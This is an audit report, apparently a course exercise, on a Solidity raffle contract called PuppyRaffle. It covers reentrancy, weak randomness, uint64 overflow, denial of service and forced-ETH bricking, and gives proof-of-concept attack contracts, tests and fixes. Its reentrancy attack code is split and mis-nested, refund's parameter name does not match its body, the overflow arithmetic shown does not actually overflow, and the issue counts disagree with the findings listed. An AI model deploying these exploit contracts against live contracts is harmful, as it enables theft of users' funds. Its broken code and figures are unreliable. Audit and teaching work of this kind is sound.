



Puppy Raffle Audit Report

Version 1.0

Cyfrin.io

September 30, 2026

Puppy Raffle Audit Report

Ali Talal

September, 30, 2026

Prepared by: [Ali Talal] Lead Auditors: - Ali Talal

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Ali Talal makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This report details the security audit conducted on the Puppy Raffle protocol, identifying critical vulnerabilities such as Denial of Service (DoS) and reentrancy. Detailed mitigation recommendations are provided to ensure the proper functioning of the smart contract and the protection of user funds.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerId) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
4         player can refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player
6         already refunded, or is not active");
7     payable(msg.sender).sendValue(entranceFee);
8     players[playerIndex] = address(0);
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1 function test_reentrancy_refund() public {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttack attackerContract = new ReentrancyAttack(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13
14     uint256 startingAttackContractBalance = address(
15         attackerContract).balance;
16     uint256 startingContractBalance = address(puppyRaffle).balance;
17
18     // Attack
19     vm.prank(attackUser);
20     attackerContract.attack{value: entranceFee}();
21
22     emit log_named_uint("starting attacker contract balance",
23         startingAttackContractBalance);
24     emit log_named_uint("starting contract balance",
25         startingContractBalance);
26     emit log_named_uint("ending attacker contract balance", address(
27         attackerContract).balance);
28     emit log_named_uint("ending contract balance", address(
29         puppyRaffle).balance);
30 }
```

And this contract as well.

```
1 contract ReentrancyAttack {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17         ;
18     }
19 }
```

```
17     puppyRaffle.refund(attackerIndex);
18 }
19
20 function _stealMoney() internal {
21     if (address(puppyRaffle).balance >= entranceFee) {
22         puppyRaffle.refund(attackerIndex);
23     }
24 }
25
26 fallback() external payable {
27     _stealMoney();
28 }
29
30 receive() external payable {
31     _stealMoney();
32 }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
   can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
   refunded, or is not active");
5 +   players[playerIndex] = address(0);
6 +   emit RaffleRefunded(playerAddress);
7     payable(msg.sender).sendValue(entranceFee);
8 -   players[playerIndex] = address(0);
9 -   emit RaffleRefunded(playerAddress);
10 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 800000000000000000 + 1780000000000000000
4 // and this will overflow!
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

Place the following into `PuppyRaffleTest.t.sol`.

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 800000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
21    // We will now have fewer fees even though we just finished a
        second raffle
22    puppyRaffle.selectWinner();
23
24    uint256 endingTotalFees = puppyRaffle.totalFees();
25    console.log("ending total fees", endingTotalFees);
26    assert(endingTotalFees < startingTotalFees);
27}
```

```
28         // We are also unable to withdraw any fees because of the
           require check
29         vm.expectRevert("PuppyRaffle: There are currently players
           active!");
30         puppyRaffle.withdrawFees();
31     }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @audit DoS Attack
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(players[i] != players[j], "PuppyRaffle: Duplicate
           player");
5     }
6 }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_denialOfService() public {
2     // forge-std v1.3.0 has no vm.txGasPrice; use a fixed price for
      cost calc
3     uint256 gasPrice = 1;
4     uint256 playersNum = 100;
5
6     // Let's enter 100 players
7     address[] memory players = new address[](playersNum);
8     for (uint256 i = 0; i < playersNum; i++) {
9         players[i] = address(i + 1);
10    }
11    // see how much gas it cost
12    uint256 gasStart = gasleft();
13    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
      players);
14    uint256 gasEnd = gasleft();
15    uint256 gasUsedFirst = (gasStart - gasEnd) * gasPrice;
16    emit log_named_uint("Gas cost of the first 100 players",
      gasUsedFirst);
17
18    // now for the 2nd 100 players
19    address[] memory playersTwo = new address[](playersNum);
20    for (uint256 i = 0; i < playersNum; i++) {
21        playersTwo[i] = address(i + 1 + playersNum);
22    }
23    // see how much gas it cost
24    uint256 gasStartSecond = gasleft();
25    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
      }(playersTwo);
26    uint256 gasEndSecond = gasleft();
27    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
      gasPrice;
28    emit log_named_uint("Gas cost of the second 100 players",
      gasUsedSecond);
29
30    assert(gasUsedFirst < gasUsedSecond);
```

```
31     }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +   mapping(address => uint256) public addressToRaffleId;
2  +   uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length,
8              "PuppyRaffle: Must send enough to enter raffle");
9          for (uint256 i = 0; i < newPlayers.length; i++) {
10             players.push(newPlayers[i]);
11 +         addressToRaffleId[newPlayers[i]] = raffleId;
12         }
13
14 -         // Check for duplicates
15 +         // Check for duplicates only from the new players
16 +         for (uint256 i = 0; i < newPlayers.length; i++) {
17 +             require(addressToRaffleId[newPlayers[i]] != raffleId, "
18 +             PuppyRaffle: Duplicate player");
19 -         }
20 -         for (uint256 i = 0; i < players.length; i++) {
21 -             for (uint256 j = i + 1; j < players.length; j++) {
22 -                 require(players[i] != players[j], "PuppyRaffle:
23 -                 Duplicate player");
24 -             }
25 -         }
26         emit RaffleEnter(newPlayers);
27     }
28     function selectWinner() external {
29 +         raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
31             PuppyRaffle: Raffle not over");
32     }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Slightly increasing `PuppyRaffle`'s contract balance will render `withdrawFees` function useless

Description: The `PuppyRaffle::withdrawFees` function uses a strict equality check between the contract's ETH balance and `totalFees` to determine whether players are still active:

```
1 function withdrawFees() external {
2   @> require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. An attacker can force ETH into the contract (for example via a `selfdestruct` call) without going through `enterRaffle`, so `totalFees` no longer matches `address(this).balance` even when there are no active players.

Impact: All fees that weren't withdrawn and all future fees are stuck in the contract. There is no other way of taking the fees out of the protocol.

Proof of Concept:

1. A raffle is completed and fees accumulate in `totalFees`
2. An attacker deploys a contract that `selfdestructs` and sends a small amount of ETH to `PuppyRaffle`
3. `address(this).balance` is now greater than `totalFees`
4. Any call to `PuppyRaffle::withdrawFees` reverts with `"PuppyRaffle: There are currently players active!"`

PoC

Add this contract above `PuppyRaffleTest`:

```
1 contract ForceSend {
2   constructor(address target) payable {
3     address payable _target = payable(target);
4     selfdestruct(_target);
5   }
6 }
```

Place the following into `PuppyRaffleTest.t.sol`:

```
1 function test_forceSendBreaksWithdrawFees() public playersEntered {
2     // Finish raffle so fees accumulate
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6
7     // Attacker forces a tiny amount of ETH into the raffle
8     address attacker = makeAddr("attacker");
9     vm.deal(attacker, 1 ether);
10    vm.prank(attacker);
11    new ForceSend{value: 0.01 ether}(address(puppyRaffle));
12
13    // withdrawFees is now permanently bricked
14    vm.expectRevert("PuppyRaffle: There are currently players
15        active!");
16    puppyRaffle.withdrawFees();
17 }
```

Recommended Mitigation: Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track `totalFees` and withdraw it without relying on a strict balance equality.

```
1 function withdrawFees() external {
2 -     require(address(this).balance == uint256(totalFees), "
3     PuppyRaffle: There are currently players active!");
4     uint256 feesToWithdraw = totalFees;
5     totalFees = 0;
6     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
7     require(success, "PuppyRaffle: Failed to withdraw fees");
8 }
```

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof Of Concept 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1  /// @return the index of the player in the array, if they are not
    active, it returns 0
2  function getActivePlayerIndex(address player) external view returns (
    uint256) {
3      for (uint256 i = 0; i < players.length; i++) {
4          if (players[i] == player) {
5              return i;
6          }
7      }
8      return 0;
9  }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +      uint256 playerLength = players.length;
2 -      for (uint256 i = 0; i < players.length - 1; i++) {
3 +      for (uint256 i = 0; i < playerLength - 1; i++) {
4 -          for (uint256 j = i + 1; j < players.length; j++) {
5 +          for (uint256 j = i + 1; j < playerLength; j++) {
6              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7          }
8      }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol`

[I-2] Using an outdated version of Solidity is not recommended.

Please use a newer version like 0.8.18

0.8.18 The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in `src/PuppyRaffle.sol` (`constructor`, `changeFeeAddress`)

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1      delete players;
2      raffleStartTime = block.timestamp;
3      previousWinner = winner;
4      (bool success,) = winner.call{value: prizePool}("");
5      require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
6      _safeMint(winner, tokenId);
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1  uint256 prizePool = (totalAmountCollected * 80) / 100;
2  uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
2 uint256 public constant FEE_PERCENTAGE = 20;  
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Additional findings not taught in course

MEV